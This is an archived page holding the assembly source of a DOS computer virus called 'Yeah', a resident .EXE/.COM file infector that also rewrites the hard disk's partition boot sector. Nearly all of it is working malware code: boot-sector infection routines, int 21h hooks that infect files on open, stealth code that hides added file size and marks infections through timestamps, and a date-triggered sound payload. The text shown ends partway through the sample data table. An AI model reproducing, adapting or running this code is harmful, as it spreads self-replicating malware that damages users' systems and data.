home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / YEAH1.ASM < prev    next >
Assembly Source File  |  1993-12-24  |  35KB  |  1,051 lines
  1. ;------------------------------------------------------------------------------
  2. ;
  3. ; Virus Name:  Yeah   
  4. ; Origin:      Holland
  5. ; Eff Length:  4,096 bytes
  6. ; Type Code:   PRhE - Parasitic Resident .EXE & partition table infector
  7. ;
  8. ;------------------------------------------------------------------------------
  9. ;
  10. ; This program is assembled with TASM V1.01 from Borland International
  11. ; (assembing with MASM V5.10 from Microsoft Inc. is also possible).
  12. ;
  13. ; TASM stealth;
  14. ; LINK stealth,,stealth;
  15. ;
  16. ;------------------------------------------------------------------------------
  17. ;
  18. ; Interrupt vectors
  19. ;
  20. ;------------------------------------------------------------------------------
  21.  
  22. iseg segment at 0
  23.         org    8*4
  24. Int8o        dw    0            ; interrupt vector 21h
  25. Int8s        dw    0
  26.  
  27.         org    1ch*4
  28. Int1Co        dw    0            ; interrupt vector 21h
  29. Int1Cs        dw    0
  30.  
  31.         org    21h*4
  32. Int21o        dw    0            ; interrupt vector 21h
  33. Int21s        dw    0
  34.  
  35. iseg ends
  36.  
  37. cseg segment public 'code'
  38.         assume    cs:cseg,ds:cseg,es:cseg
  39.  
  40. ;------------------------------------------------------------------------------
  41. ;
  42. ; Header of EXE-file
  43. ;
  44. ;------------------------------------------------------------------------------
  45.  
  46. VirusSize    equ    10d0h            ; size of virus
  47. PrgSize        equ    72h            ; size of prg after the virus
  48.  
  49. Signature    dw    0            ; signature 'MZ'
  50. PartPage    dw    0            ; size of partitial page
  51. PageCount    dw    0            ; number of pages
  52. ReloCount    dw    0            ; number of relocation items
  53. HeaderSize    dw    0            ; size of header
  54. MinMem        dw    0            ; minimum memory needed
  55. MaxMem        dw    0            ; maximum memory needed
  56. ExeSS        dw    0            ; initial SS 
  57. ExeSP        dw    0             ; initial SP
  58. CheckSum    dw    0            ; unused ???
  59. ExeIP        dw    0            ; initial IP
  60. ExeCS        dw    0            ; initial CS
  61. ReloOffset    dw    0            ; offset of relocationtable
  62. OverlayNr    dw    0            ; number of overlay
  63.  
  64. ComSize        dw    -1            ; Size of com-file (-1 for exe)
  65.  
  66. ;------------------------------------------------------------------------------
  67. ;
  68. ; This procedure is called when starting from an exe-file
  69. ;
  70. ;------------------------------------------------------------------------------
  71.  
  72. Main:        pushf                ; save flags
  73.         sub    sp,4            ; reserve space far cs:ip
  74.         push    ax            ; save other registers
  75.         push    ds
  76.         push    es
  77.         sti                ; enable interrupts
  78.         cmp    cs:ComSize,-1        ; com or exe-file
  79.         je    ExeFile            ; -1 : exe-file
  80. ComFile:    mov    word ptr ds:[6],0fef0h    ; set availeble memory to max
  81.         mov    bp,sp            ; set cs:ip on stack for
  82.         mov    word ptr [bp+8],ds    ;   returning to the orginal
  83.         mov    word ptr [bp+6],100h    ;   program
  84.         mov    bp,ds            ; bp : stacksegment
  85.         mov    ax,cs            ; bx : begin of com-file
  86.         add    ax,(VirusSize/10h)
  87.         mov    bx,ax
  88.         mov    cx,0ff0h        ; cx : size of data to move
  89.         add    ax,cx            ; es : buffer for mover and
  90.         mov    es,ax            ;      infecting the bootsect.
  91.         push    cs            ; ds : codesegment
  92.         pop    ds
  93.         jmp    short InfectBoot    ; infect bootsector
  94. ExeFile:    mov    dx,cs            ; Relocation
  95.         add    dx,(VirusSize/10h)
  96.         mov    ds,dx
  97.         mov    cx,ReloCount        ; number of relocation items
  98.         add    dx,HeaderSize        ; size of exe-header
  99.         mov    si,ReloOffset        ; offset of 1st relocation item
  100.         jcxz    NoRelo
  101. NextRelo:    lodsw                ; offset
  102.         mov    di,ax
  103.         lodsw                ; segment
  104.         add    ax,dx
  105.         mov    es,ax
  106.         mov    ax,cs            ; relocation factor
  107.         add    es:[di],ax
  108.         loop    NextRelo        ; next relocation item
  109. NoRelo:        mov    bp,sp
  110.         mov    ax,cs            ; set cs:ip on stack for
  111.         add    ax,ExeCS        ;  returning to the orginal
  112.         mov    [bp+8],ax        ;  program
  113.         mov    ax,ExeIP
  114.         mov    [bp+6],ax
  115.         mov    bp,cs            ; bp : stacksegment
  116.         add    bp,ExeSS
  117.         mov    ax,PageCount        ; calculate size of exe-file
  118.         mov    dx,PartPage        ; in paragraphs
  119.         add    dx,-1
  120.         sbb    ax,0
  121.         mov    cl,4
  122.         shr    dx,cl
  123.         inc    dx
  124.         inc    cl
  125.         shl    ax,cl
  126.         add    dx,ax
  127.         add    dx,MinMem        ; dx : size of exe-file
  128.         mov    cx,dx            ; cx : size of code and data
  129.         sub    cx,HeaderSize
  130.         mov    bx,cs            ; bx : start of code and data
  131.         mov    ds,bx
  132.         add    bx,(VirusSize/10h)
  133.         add    bx,dx
  134.         mov    es,bx            ; es : buffer for mover and
  135.         sub    bx,cx            ;      infecting the bootsect.
  136. InfectBoot:    push    bx            ; save bx and cx
  137.         push    cx
  138.         mov    ax,201h            ; read bootsector from disk
  139.         xor    bx,bx
  140.         mov    cx,1
  141.         mov    dx,80h
  142.         int    13h
  143.         jc    BootOk            ; error ?
  144.         mov    si,offset BootSector    ; compare with infected code
  145.         xor    di,di
  146.         mov    cx,1*BootSize
  147.         cld
  148.         repe    cmpsb
  149.         je    BootOk            ; equal ?
  150.         mov    di,1beh+8        ; check partitions, we don't 
  151.         mov    cx,4            ; want to overwrite them
  152. NextPartition:    cmp    word ptr es:[di+2],0
  153.         ja    SectOk
  154.         cmp    word ptr es:[di],(VirusSize+1ffh)/200h+1
  155.         ja    SectOk
  156.         cmp    word ptr es:[di],0
  157.         ja    BootOk
  158. SectOk:        add    di,10h
  159.         loop    NextPartition
  160.         mov    si,offset BootSector    ; exchange code from bootsector
  161.         xor    di,di            ; with viral code
  162.         mov    cx,1*BootSize
  163.         cld
  164.         call    Swapsb
  165.         push    es            ; write virus to disk
  166.         pop    ds
  167.         push    cs
  168.         pop    es
  169.         mov    ax,(VirusSize+1ffh)/200h+300h
  170.         mov    cx,2
  171.         int    13h
  172.         push    ds
  173.         pop    es
  174.         push    cs
  175.         pop    ds
  176.         jc    BootOk            ; error ?
  177.         mov    ax,301h            ; write bootsector to disk
  178.         mov    cx,1
  179.         int    13h
  180. BootOk:        pop    cx            ; restore bx and cx
  181.         pop    bx
  182.         mov    dx,cs            ; dx = destenation segment
  183.         xor    di,di
  184.         push    es            ; push seg:ofs of mover
  185.         push    di
  186.         push    cx            ; save cx
  187.         mov    cx,1*MoverSize
  188.         mov    si,offset Mover
  189.         cld                    ; copy mover-procedure
  190.         rep    movsb
  191.         pop    cx            ; restore cx
  192.         cli                ; disable interrupts
  193.         retf                ; jump to mover
  194.  
  195. Mover:        mov    ax,cx            ; save cx
  196.         mov    ds,bx            ; ds:si = source
  197.         mov    es,dx            ; es:di = destenation
  198.         xor    si,si
  199.         xor    di,di
  200.         mov    cx,8h            ; copy one paragraph
  201.         rep    movsw
  202.         inc    bx
  203.         inc    dx
  204.         mov    cx,ax            ; restore cx
  205.         loop    Mover            ; next paragraph
  206.         mov    ss,bp            ; ss = new stacksegment
  207.         sti                ; enable interrupts
  208.         pop    es            ; restore registers
  209.         pop    ds
  210.         pop    ax
  211.         iret                ; jump to program
  212.  
  213. MoverSize    equ    ($-Mover)
  214.  
  215. ;------------------------------------------------------------------------------
  216. ;
  217. ; Bootsector startup
  218. ;
  219. ;------------------------------------------------------------------------------
  220.  
  221. Bootsector:    cli                ; disable interrupts
  222.         xor    bx,bx            ; setup stack and ds
  223.         mov    ds,bx
  224.         mov    ss,bx
  225.         mov    sp,7c00h
  226.         sti                ; enable interrupts
  227.         mov    ax,ds:[413h]        ; get size of base memory
  228.         sub    ax,(VirusSize+3ffh)/400h; subtract virussize
  229.         mov    ds:[413h],ax        ; store new memory size
  230.         mov    cl,6            ; calculate segment
  231.         shl    ax,cl
  232.         mov    es,ax            ; load virus in reserved mem
  233.         mov    ax,(VirusSize+1ffh)/200h+200h
  234.         mov    cx,2
  235.         mov    dx,80h
  236.         int    13h
  237.         mov    bx,offset StartUp    ; bx=offset startup
  238.         push    es            ; jump to startup (es:bx)
  239.         push    bx
  240.         retf
  241.  
  242. BootSize    equ    ($-Bootsector)        ; size of bootsector part
  243.  
  244. StartUp:    cli                    ; disable interrupts
  245.         mov    ax,offset Interrupt1C        ; hack interrupt 1C
  246.         xchg    ax,ds:Int1Co
  247.         mov    cs:OldInt1Co,ax
  248.         mov    ax,cs
  249.         xchg    ax,ds:Int1Cs
  250.         mov    cs:OldInt1Cs,ax
  251.         mov    cs:OldInt21o,-1
  252.         mov    cs:OldInt21s,-1
  253.         mov    cs:Count,-1
  254.         sti                ; enable interrupts
  255.         push    cs            ; ds=cs
  256.         pop    es
  257.         mov    si,7c00h        ; di=7c00h (Bootsector)
  258.         mov    di,offset BootSector    ; si=BootSector
  259.         mov    cx,1*BootSize        ; bytes to copy
  260.         cld                ; copy forward
  261.         call    Swapsb            ; restore orginal boot
  262.         mov    ax,7c00h        ; offset bootsector
  263.         push    ds            ; jump to bootsector
  264.         push    ax
  265.         retf
  266.  
  267. Interrupt8:    push    ax            ; save registers
  268.         push    si
  269.         push    ds
  270.         push    cs
  271.         pop    ds
  272.         mov    si,SampleOffset        ; get offset of next bit
  273.         dec    byte ptr ds:SampleBit
  274.         test    byte ptr ds:SampleBit,7
  275.         jnz    OfsOk
  276.         inc    si
  277.         cmp    si,offset SampleEnd    ; end of sample ?
  278.         jb    OfsOk            ; no, play bit
  279.         mov    al,34h            ; reset int 8 frequency
  280.         out    43h,al
  281.         xor    ax,ax
  282.         out    40h,al
  283.         out    40h,al
  284.         mov    ds,ax            ; reset int 8 vector
  285.         mov    ax,cs:OldInt8o
  286.         mov    ds:Int8o,ax
  287.         mov    ax,cs:OldInt8s
  288.         mov    ds:Int8s,ax        
  289.         inc    byte ptr cs:SampleFlag    ; set sample ready flag
  290.         jmp    short ExitInt8        ; end of interrupt
  291. OfsOk:        mov    SampleOffset,si        ; store offset
  292.         rol    byte ptr ds:[si],1    ; next bit
  293.         mov    ah,ds:[si]        ; get bit value
  294.         and    ah,1
  295.         shl    ah,1
  296.         in    al,61h            ; get value of io-port 61h
  297.         and    al,0fch            ; reset last 2 bits
  298.         or    al,ah            ; set bit 2 with sample value
  299.         out    61h,al            ; write to io-port 61h
  300. ExitInt8:    mov    al,20h            ; end of interrupt signal
  301.         out    20h,al
  302.         pop    ds            ; restore registers
  303.         pop    si
  304.         pop    ax
  305.         iret                ; return to program
  306.  
  307. Interrupt1C:    push    ds            ; save registers
  308.         push    ax
  309.         push    bx
  310.         xor    ax,ax            ; interrupts vectors
  311.         mov    ds,ax
  312.         mov    ax,ds:Int21o
  313.         cmp    cs:OldInt21o,ax
  314.         jne    Changed
  315.         mov    ax,ds:Int21s
  316.         cmp    cs:OldInt21s,ax
  317.         je    Equal
  318. Changed:    mov    ax,ds:Int21o
  319.         mov    cs:OldInt21o,ax
  320.         mov    ax,ds:Int21s
  321.         mov    cs:OldInt21s,ax
  322.         mov    cs:Count,182
  323.         jmp    short NotReady
  324. Equal:        dec    cs:Count
  325.         jnz    NotReady
  326.         mov    ax,cs:OldInt1Co        ; restore vector 1C
  327.         mov    ds:Int1Co,ax        ; (This interrupt)
  328.         mov    ax,cs:OldInt1Cs
  329.         mov    ds:Int1Cs,ax
  330.         mov    ax,offset Interrupt21    ; Hack interrupt 21
  331.         xchg    ax,ds:Int21o
  332.         mov    cs:OldInt21o,ax
  333.         mov    ax,cs
  334.         xchg    ax,ds:Int21s
  335.         mov    cs:OldInt21s,ax
  336.         mov    ax,8
  337.         mov    bx,offset Handle
  338. NextHandle:    mov    word ptr cs:[bx],0
  339.         inc    bx
  340.         inc    bx
  341.         dec    ax
  342.         jnz    NextHandle
  343.         mov    byte ptr cs:Active,-1
  344. NotReady:    pop    bx
  345.         pop    ax            ; restore registers
  346.         pop    ds
  347.         jmp    cs:OldInt1C        ; do orginal int 1C
  348.  
  349. Swapsb:        mov    al,es:[di]        ; exchange two memory bytes
  350.         xchg    al,ds:[si]
  351.         stosb
  352.         inc    si
  353.         loop    Swapsb            ; next byte
  354.         ret                ; return
  355.  
  356. ;------------------------------------------------------------------------------
  357. ;
  358. ; Manipilated functions
  359. ;
  360. ;------------------------------------------------------------------------------
  361.  
  362. Functions    db    11h                ; 1
  363.         dw    offset FindFCB
  364.         db    12h                ; 2
  365.         dw    offset FindFCB
  366.         db    30h                ; 3
  367.         dw    offset DosVersion
  368.         db    3ch                ; 4
  369.         dw    offset Open
  370.         db    3dh                ; 5
  371.         dw    offset Open
  372.         db    3eh                ; 6
  373.         dw    offset Close
  374.         db    42h                ; 7
  375.         dw    offset Seek
  376.         db    45h                ; 8
  377.         dw    offset Duplicate
  378.         db    46h                ; 9
  379.         dw    offset Redirect
  380.         db    4eh                ; 10
  381.         dw    offset Find
  382.         db    4fh                ; 11
  383.         dw    offset Find
  384.         db    5bh                ; 12
  385.         dw    offset Open
  386.         db    6ch                ; 13
  387.         dw    offset OpenCreate
  388.  
  389. FunctionCount    equ    13
  390.  
  391. ;------------------------------------------------------------------------------
  392. ;
  393. ; The orginal interrupt 21h is redirected to this procedure
  394. ;
  395. ;------------------------------------------------------------------------------
  396.  
  397. DosVersion:    push    ax
  398.         push    cx
  399.         push    dx
  400.         push    ds
  401.         push    cs
  402.         pop    ds
  403.         cmp    cs:Active,0
  404.         je    NotActive
  405.         mov    ah,2ah
  406.         call    DOS
  407.         cmp    ActiveYear,cx
  408.         jb    NotActive
  409.         cmp    ActiveDate,dx
  410.         jb    NotActive
  411.         cli
  412.         xor    ax,ax
  413.         mov    ds,ax
  414.         mov    ax,offset Interrupt8
  415.         xchg    ax,ds:Int8o
  416.         mov    cs:OldInt8o,ax
  417.         mov    ax,cs
  418.         xchg    ax,ds:Int8s
  419.         mov    cs:OldInt8s,ax
  420.         mov    al,34h
  421.         out    43h,al
  422.         mov    al,80h
  423.         out    40h,al
  424.         mov    al,0
  425.         out    40h,al
  426.         push    cs
  427.         pop    ds
  428.         mov    byte ptr SampleFlag,0
  429.         mov    byte ptr SampleBit,0
  430.         mov    word ptr SampleOffset,offset SampleData
  431.         sti
  432. Delay:        cmp    byte ptr SampleFlag,0
  433.         je    Delay
  434.         mov    byte ptr Active,0
  435. NotActive:    pop    ds
  436.         pop    dx
  437.         pop    cx
  438.         pop    ax
  439.         jmp    Old21
  440.  
  441. FindFCB:    call    DOS            ; call orginal interrupt
  442.         cmp    al,0            ; error ?
  443.         jne    Ret1
  444.         pushf                ; save registers
  445.         push    ax
  446.         push    bx
  447.         push    es
  448.         mov    ah,2fh            ; get DTA
  449.         call    DOS
  450.         cmp    byte ptr es:[bx],-1    ; extended fcb ?
  451.         jne    FCBOk
  452.         add    bx,8            ; yes, skip 8 bytes
  453. FCBOk:        mov    al,es:[bx+16h]        ; get file-time (low byte)
  454.         and    al,1fh            ; seconds
  455.         cmp    al,1fh            ; 62 seconds ?
  456.         jne    FileOk            ; no, file not infected
  457.         sub    word ptr es:[bx+1ch],VirusSize
  458.         sbb    word ptr es:[bx+1eh],0    ; adjust file-size
  459.         jmp    short Time
  460.  
  461. Find:        call    DOS            ; call orginal interrupt
  462.         jc    Ret1            ; error ?
  463.         pushf                ; save registers
  464.         push    ax
  465.         push    bx
  466.         push    es
  467.         mov    ah,2fh
  468.         call    DOS
  469.         mov    al,es:[bx+16h]        ; get file-time (low byte)
  470.         and    al,1fh            ; seconds
  471.         cmp    al,1fh            ; 62 seconds ?
  472.         jne    FileOk            ; no, file not infected
  473.         sub    word ptr es:[bx+1ah],VirusSize
  474.         sbb    word ptr es:[bx+1ch],0    ; change file-size
  475. Time:        xor    byte ptr es:[bx+16h],1fh; adjust file-time
  476. FileOk:        pop    es            ; restore registers
  477.         pop    bx
  478.         pop    ax
  479.         popf
  480. Ret1:        retf    2            ; return
  481.  
  482. Seek:        or    bx,bx            ; bx=0 ?
  483.         jz    Old21            ; yes, do orginal interrupt
  484.         push    bx
  485.         call    FindHandle
  486.         pop    bx
  487.         jc    Old21
  488. Stealth:    or    al,al            ; seek from top of file ?
  489.         jnz    Relative        ; no, don't change cx:dx
  490.         add    dx,VirusSize        ; change cx:dx
  491.         adc    cx,0
  492. Relative:    call    DOS            ; Execute orginal int 21h
  493.         jc    Ret1            ; Error ?
  494.         sub    ax,VirusSize        ; adjust dx:ax
  495.         sbb    dx,0
  496.         jmp    short Ret1        ; return
  497.  
  498. Close:        or    bx,bx            ; bx=0 ?
  499.         je    Old21            ; yes, do orginal interrupt
  500.         push    ax
  501.         push    cx
  502.         push    dx
  503.         push    si
  504.         push    ds
  505.         push    cs            ; ds=cs
  506.         pop    ds
  507.         push    bx
  508.         call    FindHandle
  509.         mov    si,bx
  510.         pop    bx
  511.         jc    NotStealth
  512.         mov    word ptr ds:[si],0
  513.         call    UpdateHeader
  514. NotStealth:    pop    ds            ; restore registers
  515.         pop    si
  516.         pop    dx
  517.         pop    cx
  518.         pop    ax
  519. Not2:        jmp    short Old21        ; continue with orginal int
  520.  
  521. Interrupt21:    push    bx            ; after an int 21h instruction
  522.         push    cx            ; this procedure is started
  523.         mov    bx,offset Functions
  524.         mov    cx,FunctionCount
  525. NxtFn:        cmp    ah,cs:[bx]        ; search function
  526.         je    FunctionTrap
  527.         add    bx,3
  528.         loop    NxtFn
  529.         pop    cx            ; function not found
  530.         pop    bx
  531. Old21:        jmp    cs:OldInt21
  532.  
  533. FunctionTrap:    push    bp            ; function found, start viral
  534.         mov    bp,sp            ; version of function
  535.         mov    bx,cs:[bx+1]
  536.         xchg    bx,[bp+4]
  537.         mov    cx,[bp+10]
  538.         xchg    cx,[bp+2]
  539.         pop    bp
  540.         popf
  541.         ret
  542.  
  543. Duplicate:    call    DOS
  544.         jc    Error
  545.         pushf
  546.         push    bx
  547.         call    FindHandle
  548.         jc    Ret3
  549.         mov    bx,ax
  550.         call    StoreHandle
  551. Ret3:        pop    bx
  552.         popf
  553.         jmp    Ret2
  554.  
  555. Redirect:    call    DOS
  556.         jc    Error
  557.         pushf
  558.         push    bx
  559.         push    cx
  560.         xchg    bx,cx
  561.         call    FindHandle
  562.         jc    Ret4
  563.         mov    cs:[bx],cx
  564. Ret4:        pop    cx
  565.         pop    bx
  566.         popf
  567.         jmp    Ret2
  568.  
  569. OpenCreate:    or    al,al            ; extended open/create function
  570.         jne    Old21            ; no, do orginal interrupt 21
  571.         push    dx            ; save dx
  572.         mov    dx,si            ; check extension of filename
  573.         call    CheckName
  574.         pop    dx            ; retore dx
  575.         jc    Old21            ; exe or com-file?
  576.         jmp    short ExtensionOk    ; yes, infect file or use
  577.                         ; stealth
  578.  
  579. Open:        call    CheckName        ; exe or com-file ?
  580.         jc    Old21            ; no, do orginal int 21
  581. ExtensionOk:    call    DOS            ; do interrupt 21
  582.         jnc    NoError            ; error ?
  583. Error:        jmp    Ret2            ; yes, return and do nothing
  584. NoError:    pushf                ; save registers
  585.         push    ax
  586.         push    bx
  587.         push    cx
  588.         push    dx
  589.         push    ds
  590.         push    cs
  591.         pop    ds
  592.         mov    bx,ax            ; bx = file handle
  593.         mov    ax,4400h        ; get device information
  594.         call    DOS
  595.         jc    PopRet            ; error ?
  596.         test    dx,80h            ; character device
  597.         jnz    PopRet            ; yes, return and do nothing
  598.         call    EndOfFile        ; get file size
  599.         or    ax,dx            ; 0 ?
  600.         jnz    FileExists        ; no, file already existed
  601. FileCreated:    call    HandleFree
  602.         jc    PopRet
  603.         mov    ah,2ah
  604.         call    DOS
  605.         add    dh,3
  606.         cmp    dh,12
  607.         jbe    DateOk
  608.         inc    cx
  609.         sub    dh,12
  610. DateOk:        mov    ActiveYear,cx
  611.         mov    ActiveDate,dx
  612.         mov    ah,40h            ; write virus to file
  613.         mov    cx,VirusSize
  614.         call    Zero2
  615.         jc    NoVir            ; error ? yes, return
  616.         xor    ax,cx            ; entire virus written ?
  617.         jnz    NoVir            ; no, return
  618.         call    StoreHandle
  619.         jmp    short PopRet        ; return
  620. FileExists:    call    TopOfFile        ; go to top of file
  621.         call    HandleFree
  622.         jc    PopRet            ; no, do nothing
  623.         call    ReadHeader        ; read exe-header
  624.         jc    NoVir            ; error ?
  625.         xor    ax,cx            ; entire header read
  626.         jne    NoVir            ; no, not infected
  627.         cmp    Signature,5a4dh        ; signature = 'MZ' ?
  628.         jne    NoVir            ; no, not infected
  629.         cmp    HeaderSize,ax        ; headersize = 0 ?
  630.         jne    NoVir            ; no, not infected
  631.         cmp    CheckSum,0DEADh        ; checksum = DEAD hex
  632.         jne    NoVir            ; no, not infected
  633.         call    StoreHandle
  634.         mov    dx,VirusSize        ; seek to end of virus
  635.         jmp    short Infected
  636. NoVir:        xor    dx,dx
  637. Infected:    xor    cx,cx            ; go to end of virus if file
  638.         mov    ax,4200h        ; is infected
  639.         call    DOS
  640. PopRet:        pop    ds            ; restore registers
  641.         pop    dx
  642.         pop    cx
  643.         pop    bx
  644.         pop    ax
  645.         popf
  646. Ret2:        retf    2            ; return
  647.  
  648. ;------------------------------------------------------------------------------
  649.  
  650. EndOfFile:    mov    ax,4202h        ; go to end of file
  651.         jmp    short Zero1
  652.  
  653. TopOfFile:    mov    ax,4200h        ; go to top of file
  654. Zero1:        xor    cx,cx
  655.         jmp    short Zero2
  656.  
  657. WriteHeader:    mov    ah,40h            ; write exe-header to file
  658.         jmp    short Hdr
  659.  
  660. ReadHeader:    mov    ah,3fh            ; read exe-header from file
  661. Hdr:        mov    cx,1eh
  662. Zero2:        xor    dx,dx
  663.  
  664. DOS:        pushf                ; call orginal interrupt
  665.         call    cs:OldInt21
  666.         ret
  667.  
  668. FindHandle:    push    ax
  669.         push    cx
  670.         mov    ax,bx
  671.         mov    bx,offset Handle
  672.         mov    cx,8
  673. NotFound:    cmp    ax,cs:[bx]
  674.         je    Found
  675.         inc    bx
  676.         inc    bx
  677.         loop    NotFound
  678.         stc
  679. Found:        pop    cx
  680.         pop    ax
  681.         ret
  682.  
  683. HandleFree:    push    bx
  684.         xor    bx,bx
  685.         call    FindHandle
  686.         pop    bx
  687.         ret
  688.  
  689. StoreHandle:    push    bx
  690.         push    bx
  691.         xor    bx,bx
  692.         call    FindHandle
  693.         pop    cs:[bx]
  694.         pop    bx
  695.         ret
  696.  
  697. CheckName:    push    ax            ; check for .exe or .com
  698.         push    cx            ; save registers
  699.         push    si
  700.         push    di
  701.         xor    ah,ah            ; point found = 0
  702.         mov    cx,100h            ; max length filename = 100h
  703.         mov    si,dx            ; si = start of filename
  704.         cld
  705. NxtChr:        lodsb                ; get byte
  706.         or    al,al            ; 0 ?
  707.         je    EndName            ; yes, check extension
  708.         cmp    al,'\'            ; \ ?
  709.         je    Slash            ; yes, point found = 0
  710.         cmp    al,'.'            ; . ?
  711.         je    Point            ; yes, point found = 1
  712.         loop    NxtChr            ; next character
  713.         jmp    short EndName        ; check extension
  714. Slash:        xor    ah,ah            ; point found = 0
  715.         jmp    NxtChr            ; next character
  716. Point:        inc    ah            ; point found = 1
  717.         mov    di,si            ; di = start of extension
  718.         jmp    NxtChr            ; next character
  719. EndName:    cmp    ah,1            ; point found = 0
  720.         jne    NotExe            ; yes, not an exe-file
  721.         mov    si,di            ; si = start of extension
  722.         lodsw                ; first 2 characters
  723.         and    ax,0dfdfh        ; uppercase
  724.         mov    cx,ax
  725.         lodsb                ; 3rd character
  726.         and    al,0dfh            ; uppercase
  727.         cmp    cx,04f43h        ; extension = .com ?
  728.         jne    NotCom
  729.         cmp    al,04dh
  730.         je    ChkRet
  731. NotCom:        cmp    cx,05845h        ; extension = .exe ?
  732.         jne    NotExe
  733.         cmp    al,045h
  734.         je    ChkRet
  735. NotExe:        stc                ; set carry flag
  736. ChkRet:        pop    di            ; restore registers
  737.         pop    si
  738.         pop    cx
  739.         pop    ax
  740.         ret                ; return
  741.  
  742. UpdateHeader:    mov    ax,4200h        ; position read/write pointer
  743.         xor    cx,cx            ; at the end of the virus
  744.         mov    dx,VirusSize
  745.         call    DOS
  746.         call    ReadHeader        ; read orginal exe-header
  747.         cmp    Signature,5a4dh
  748.         je    InfectExe
  749. InfectCom:    mov    Signature,5a4dh
  750.         mov    ReloOffset,01ch
  751.         mov    OverlayNr,0
  752.         mov    ExeSS,(VirusSize-100h)/10h
  753.         mov    ExeSP,0fffeh
  754.         call    EndOfFile
  755.         sub    ax,VirusSize
  756.         sbb    dx,0
  757.         mov    ComSize,ax
  758.         mov    cx,10h
  759.         div    cx
  760.         sub    dx,1
  761.         mov    dx,0ff2h+20h
  762.         sbb    dx,ax
  763.         mov    MinMem,dx
  764.         jmp    WriteIt
  765. InfectExe:    mov    ComSize,-1
  766.         mov    ax,(VirusSize/10h)
  767.         add    ax,HeaderSize
  768.         add    ExeSS,ax
  769.         add    MinMem,20h
  770.         add    MaxMem,20h
  771.         jnc    MaxOk
  772. WriteIt:    mov    MaxMem,0ffffh
  773. MaxOk:        mov    ReloCount,0
  774.         mov    HeaderSize,0
  775.         mov    CheckSum,0DEADh
  776.         mov    ExeCS,0
  777.         mov    ExeIP,offset Main
  778.         call    EndOfFile
  779.         mov    cx,200h
  780.         div    cx
  781.         mov    PartPage,dx
  782.         add    dx,-1
  783.         adc    ax,0
  784.         mov    PageCount,ax
  785.         call    TopOfFile
  786.         call    WriteHeader        ; write header at the top of
  787.         jc    InfErr            ; the virus
  788.         mov    ax,5700h
  789.         call    DOS
  790.         mov    ax,5701h
  791.         or    cl,1fh
  792.         call    DOS
  793. InfErr:        ret
  794.  
  795. ;------------------------------------------------------------------------------
  796. ;
  797. ; Data to generate the 123 yeah sound
  798. ;
  799. ;------------------------------------------------------------------------------
  800.  
  801. SampleData    db    07dh,075h,05fh,0ffh,0ffh,0ffh,0ffh,0a0h,03fh,007h,0f8h,03ch,007h,0e0h,07fh,003h
  802.         db    0c0h,0f8h,00fh,0c0h,0f0h,07ch,00fh,0c0h,0f8h,0f0h,01fh,081h,0ffh,081h,0fch,00ch
  803.         db    07eh,007h,0f0h,071h,0f0h,03fh,007h,00fh,083h,0f0h,071h,0f8h,03fh,007h,01fh,003h
  804.         db    0e0h,0e3h,0e0h,07ch,000h,0fch,00fh,080h,03fh,003h,0e0h,01fh,0c0h,0fch,007h,0f0h
  805.         db    03fh,003h,0f8h,00fh,0c0h,0feh,003h,0f0h,07fh,001h,0f8h,03fh,0c0h,07eh,007h,0fch
  806.         db    03fh,001h,0f8h,01eh,01fh,002h,03eh,00fh,0c0h,03fh,007h,0f0h,01fh,007h,0fch,00fh
  807.         db    082h,0ffh,00fh,086h,00fh,038h,03eh,004h,03ch,01fh,008h,03eh,01fh,008h,03eh,00fh
  808.         db    000h,07ch,00fh,080h,07ch,007h,0e0h,078h,0e1h,0f0h,0f0h,0e1h,0f0h,0f0h,0f0h,0f1h
  809.         db    0e1h,0f0h,0e1h,0e1h,0f0h,0e3h,0c3h,0f0h,0cfh,007h,0f0h,01eh,00fh,0f0h,03eh,01eh
  810.         db    078h,03ch,01ch,078h,038h,03ch,078h,078h,07ch,070h,0f0h,078h,0e1h,0c0h,070h,0c3h
  811.         db    058h,061h,08eh,078h,0e3h,01ch,071h,0c6h,03ch,0e3h,08eh,030h,0e7h,01ch,071h,0c6h
  812.         db    038h,0e1h,08eh,038h,0e3h,09ch,071h,0c7h,01ch,0f1h,0c7h,018h,0e3h,007h,038h,0e7h
  813.         db    00fh,000h,0efh,00fh,001h,0e6h,00fh,0c1h,0e3h,01eh,003h,0e3h,08eh,0e1h,0dfh,087h
  814.         db    0e1h,0c3h,0c6h,070h,07fh,003h,0f0h,073h,0f0h,03eh,007h,0ech,007h,0e0h,078h,070h
  815.         db    07eh,00fh,00fh,007h,0c2h,063h,0e0h,07eh,008h,0f8h,01fh,080h,03eh,003h,0f0h,01fh
  816.         db    080h,0fch,007h,0f0h,03fh,001h,0f8h,00fh,0c0h,0feh,003h,0f0h,01fh,0c0h,0f8h,01fh
  817.         db    0e0h,07ch,01fh,0f0h,03eh,00fh,080h,01fh,00fh,0f0h,01fh,007h,0d0h,00fh,007h,0c3h
  818.         db    00fh,007h,082h,00fh,007h,0c0h,00fh,007h,0c3h,00fh,007h,080h,00fh,007h,00ah,01fh
  819.         db    00fh,08eh,01eh,01eh,00eh,03ch,01eh,01ch,03ch,03ch,018h,078h,07ch,018h,0f0h,078h
  820.         db    0f1h,0f0h,0f0h,0e1h,0e1h,0e0h,0c3h,0c3h,0e1h,0c7h,083h,0c3h,08fh,00fh,003h,01eh
  821.         db    01eh,00eh,01ch,03eh,01ch,078h,078h,038h,0f0h,0f0h,031h,0e1h,0ech,063h,0c3h,0c8h
  822.         db    0c7h,087h,0f1h,08fh,00ch,0e3h,01eh,01bh,0c7h,01ch,027h,08eh,038h,047h,01ch,079h
  823.         db    08eh,038h,071h,01eh,038h,0f2h,01ch,070h,0d6h,038h,0f1h,0c0h,038h,0f1h,0e0h,078h
  824.         db    001h,0e4h,07dh,0f0h,0e0h,018h,018h,0f6h,03ch,088h,070h,01fh,0ech,078h,006h,004h
  825.         db    03fh,087h,0f2h,01ch,083h,0fbh,01fh,0e1h,0f8h,007h,0f0h,0ffh,0c3h,0f8h,003h,0c0h
  826.         db    0ffh,001h,0f8h,007h,080h,03fh,001h,0e0h,00ch,086h,07ch,063h,0c0h,01fh,060h,0fch
  827.         db    023h,080h,038h,003h,0e0h,038h,0c0h,018h,0c7h,0f8h,0c7h,000h,000h,001h,0c7h,0b8h
  828.         db    060h,008h,006h,01fh,0c7h,018h,002h,030h,00eh,03ch,01ch,000h,000h,001h,0f8h,01ch
  829.         db    001h,087h,081h,0e1h,080h,0cch,006h,000h,0c6h,060h,000h,008h,007h,080h,000h,020h
